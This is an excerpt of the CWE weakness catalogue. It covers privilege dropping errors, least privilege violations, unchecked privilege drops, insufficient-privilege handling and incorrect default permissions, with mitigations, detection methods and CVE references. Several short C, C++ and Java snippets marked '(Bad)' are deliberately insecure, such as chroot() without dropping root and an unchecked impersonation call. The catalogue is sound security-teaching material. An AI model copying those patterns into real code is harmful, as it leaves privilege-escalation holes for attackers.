The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

**Observed Examples**

Reference	Description
<b>CVE-2002-1688</b>	Web browser cross domain problem when user hits "back" button. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1688">https://www.cve.org/CVERecord?id=CVE-2002-1688</a>
<b>CVE-2003-1026</b>	Web browser cross domain problem when user hits "back" button. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1026">https://www.cve.org/CVERecord?id=CVE-2003-1026</a>
<b>CVE-2002-1770</b>	Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1770">https://www.cve.org/CVERecord?id=CVE-2002-1770</a>
<b>CVE-2005-2263</b>	Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2263">https://www.cve.org/CVERecord?id=CVE-2005-2263</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

**Notes**

**Research Gap**

This concept needs more study.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Context Switching Error

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
30	Hijacking a Privileged Thread of Execution
35	Leverage Executable Code in Non-Executable Files

**References**

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

## CWE-271: Privilege Dropping / Lowering Errors

**Weakness ID** : 271

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not drop privileges before passing control of a resource to an actor that does not have those privileges.




### Extended Description

In some contexts, a system executing with elevated permissions will hand off a process/file/etc. to another process or user. If the privileges of an entity are not reduced, then elevated privileges are spread throughout a system and possibly to an attacker.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613
ParentOf		272	Least Privilege Violation	623
ParentOf		273	Improper Check for Dropped Privileges	626
PeerOf		274	Improper Handling of Insufficient Privileges	629

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</i>	
Access Control	Gain Privileges or Assume Identity	



Scope	Impact	Likelihood
Non-Repudiation	Hide Activities  <i>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

#### Phase: Architecture and Design

##### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Demonstrative Examples

#### Example 1:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

*Example Language: C*

*(Bad)*

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

### Observed Examples

Reference	Description
<b>CVE-2000-1213</b>	Program does not drop privileges after acquiring the raw socket. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1213">https://www.cve.org/CVERecord?id=CVE-2000-1213</a>
<b>CVE-2001-0559</b>	Setuid program does not drop privileges after a parsing error occurs, then calls another program to handle the error.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2001-0559">https://www.cve.org/CVERecord?id=CVE-2001-0559</a>
<b>CVE-2001-0787</b>	Does not drop privileges in related groups when lowering privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0787">https://www.cve.org/CVERecord?id=CVE-2001-0787</a>
<b>CVE-2002-0080</b>	Does not drop privileges in related groups when lowering privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0080">https://www.cve.org/CVERecord?id=CVE-2002-0080</a>
<b>CVE-2001-1029</b>	Does not drop privileges before determining access to certain files. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1029">https://www.cve.org/CVERecord?id=CVE-2001-1029</a>
<b>CVE-1999-0813</b>	Finger daemon does not drop privileges when executing programs on behalf of the user being fingered. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0813">https://www.cve.org/CVERecord?id=CVE-1999-0813</a>
<b>CVE-1999-1326</b>	FTP server does not drop privileges if a connection is aborted during file transfer. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1326">https://www.cve.org/CVERecord?id=CVE-1999-1326</a>
<b>CVE-2000-0172</b>	Program only uses seteuid to drop privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0172">https://www.cve.org/CVERecord?id=CVE-2000-0172</a>
<b>CVE-2004-2504</b>	Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility). <a href="https://www.cve.org/CVERecord?id=CVE-2004-2504">https://www.cve.org/CVERecord?id=CVE-2004-2504</a>
<b>CVE-2004-0213</b>	Utility Manager launches winhlp32.exe while running with raised privileges, which allows local users to gain system privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0213">https://www.cve.org/CVERecord?id=CVE-2004-0213</a>
<b>CVE-2004-0806</b>	Setuid program does not drop privileges before executing program specified in an environment variable. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0806">https://www.cve.org/CVERecord?id=CVE-2004-0806</a>
<b>CVE-2004-0828</b>	Setuid program does not drop privileges before processing file specified on command line. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0828">https://www.cve.org/CVERecord?id=CVE-2004-0828</a>
<b>CVE-2004-2070</b>	Service on Windows does not drop privileges before using "view file" option, allowing code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2070">https://www.cve.org/CVERecord?id=CVE-2004-2070</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

### Notes

#### Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Dropping / Lowering Errors

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-272: Least Privilege Violation

**Weakness ID** : 272

**Structure** : Simple

**Abstraction** : Base

### Description

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	620

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	
Confidentiality	Read Application Data Read Files or Directories	
<p><i>An attacker may be able to access resources with the elevated privilege that could not be accessed with the attacker's original privileges. This is particularly likely in conjunction with another flaw, such as a buffer overflow.</i></p>		

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Compare binary / bytecode to application permission manifest

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

*Effectiveness = SOAR Partial*

#### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

#### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

*Effectiveness = SOAR Partial*

#### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

### **Potential Mitigations**

#### **Phase: Architecture and Design**

##### **Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### **Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system.

#### **Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### **Demonstrative Examples**

#### **Example 1:**

The following example demonstrates the weakness.

Example Language: C

(Bad)

```
setuid(0);
// Do some important stuff
setuid(old_uid);
// Do some non privileged stuff.
```

### Example 2:

The following example demonstrates the weakness.

Example Language: Java

(Bad)

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
}
```

### Example 3:

The following code calls chroot() to restrict the application to a subset of the filesystem below APP\_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C

(Bad)

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		254	7PK - Security Features	700	2106
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf		859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf		901	SFP Primary Cluster: Privilege	888	2179
MemberOf		1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	2245

## Notes

### Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.

### Other

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically. When a program calls a privileged function, such as `chroot()`, it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Least Privilege Violation
CLASP			Failure to drop privileges when reasonable
CERT C Secure Coding	POS02-C		Follow the principle of least privilege
The CERT Oracle Secure Coding Standard for Java (2011)	SEC00-J		Do not allow privileged blocks to leak sensitive information across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks
Software Fault Patterns	SFP36		Privilege

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
35	Leverage Executable Code in Non-Executable Files
76	Manipulating Web Input to File System Calls

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-273: Improper Check for Dropped Privileges

**Weakness ID** : 273

**Structure** : Simple

**Abstraction** : Base

### Description

The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.




### Extended Description

If the drop fails, the product will continue to run with the raised privileges, which might provide additional access to unprivileged users.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		271	Privilege Dropping / Lowering Errors	620
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460
PeerOf		252	Unchecked Return Value	575

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1460

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Background Details

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity <i>If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.</i>	
Access Control Non-Repudiation	Gain Privileges or Assume Identity Hide Activities <i>If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.</i>	

## Potential Mitigations

**Phase: Architecture and Design**



*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

**Phase: Implementation**

Check the results of all functions that return a value and verify that the value is expected.

*Effectiveness = High*

*Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.*

**Phase: Implementation**

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

**Demonstrative Examples****Example 1:**

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:

*Example Language: C++*

*(Bad)*

```
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    /*
    RevertToSelf()
    */
}
```

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails, the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location that the attacker does not have access to.

**Observed Examples**

Reference	Description
<b>CVE-2006-4447</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4447">https://www.cve.org/CVERecord?id=CVE-2006-4447</a>
<b>CVE-2006-2916</b>	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail. <a href="https://www.cve.org/CVERecord?id=CVE-2006-2916">https://www.cve.org/CVERecord?id=CVE-2006-2916</a>

**Affected Resources**

- System Process

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf		884	CWE Cross-section	884	2327
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf		1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2256

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to check whether privileges were dropped successfully
CERT C Secure Coding	POS37-C	Exact	Ensure that privilege relinquishment is successful
Software Fault Patterns	SFP4		Unchecked Status Condition

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-274: Improper Handling of Insufficient Privileges

**Weakness ID** : 274

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613
ChildOf		755	Improper Handling of Exceptional Conditions	1468
PeerOf		271	Privilege Dropping / Lowering Errors	620
CanAlsoBe		280	Improper Handling of Insufficient Permissions or Privileges	638

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

## Observed Examples

Reference	Description
<b>CVE-2001-1564</b>	System limits are not properly enforced after privileges are dropped. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1564">https://www.cve.org/CVERecord?id=CVE-2001-1564</a>
<b>CVE-2005-3286</b>	Firewall crashes when it can't read a critical memory block that was protected by a malicious process. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3286">https://www.cve.org/CVERecord?id=CVE-2005-3286</a>
<b>CVE-2005-1641</b>	Does not give admin sufficient privileges to overcome otherwise legitimate user actions. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1641">https://www.cve.org/CVERecord?id=CVE-2005-1641</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

## Notes

### Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

### Relationship

Overlaps dropped privileges, insufficient permissions.

### Theoretical

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

### Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the product makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient privileges

## CWE-276: Incorrect Default Permissions

**Weakness ID :** 276

**Structure :** Simple

**Abstraction** : Base

## Description

During installation, installed file permissions are set to allow anyone to modify those files.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

## Weakness Ordinalities

**Primary** :

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

## Detection Methods

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Inter-application Flow Analysis

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Host Application Interface Scanner Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Forced Path Execution

*Effectiveness = High*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Automated Static Analysis**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Architecture and Design**

#### **Phase: Operation**

The architecture needs to access and modification attributes for files to only those users who actually require those actions.

### **Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

## **Observed Examples**

Reference	Description
<b>CVE-2005-1941</b>	Executables installed world-writable. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1941">https://www.cve.org/CVERecord?id=CVE-2005-1941</a>
<b>CVE-2002-1713</b>	Home directories installed world-readable. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1713">https://www.cve.org/CVERecord?id=CVE-2002-1713</a>
<b>CVE-2001-1550</b>	World-writable log files allow information loss; world-readable file has cleartext passwords. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1550">https://www.cve.org/CVERecord?id=CVE-2001-1550</a>
<b>CVE-2002-1711</b>	World-readable directory. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1711">https://www.cve.org/CVERecord?id=CVE-2002-1711</a>
<b>CVE-2002-1844</b>	Windows product uses insecure permissions when installing on Solaris (genesis: port error). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1844">https://www.cve.org/CVERecord?id=CVE-2002-1844</a>
<b>CVE-2001-0497</b>	Insecure permissions for a shared secret key file. Overlaps cryptographic problem. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0497">https://www.cve.org/CVERecord?id=CVE-2001-0497</a>
<b>CVE-1999-0426</b>	Default permissions of a device allow IP spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-1999-0426">https://www.cve.org/CVERecord?id=CVE-1999-0426</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf	C	1376	ICS Engineering (Construction/Deployment): Security Gaps in Commissioning	1358	2303
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure Default Permissions
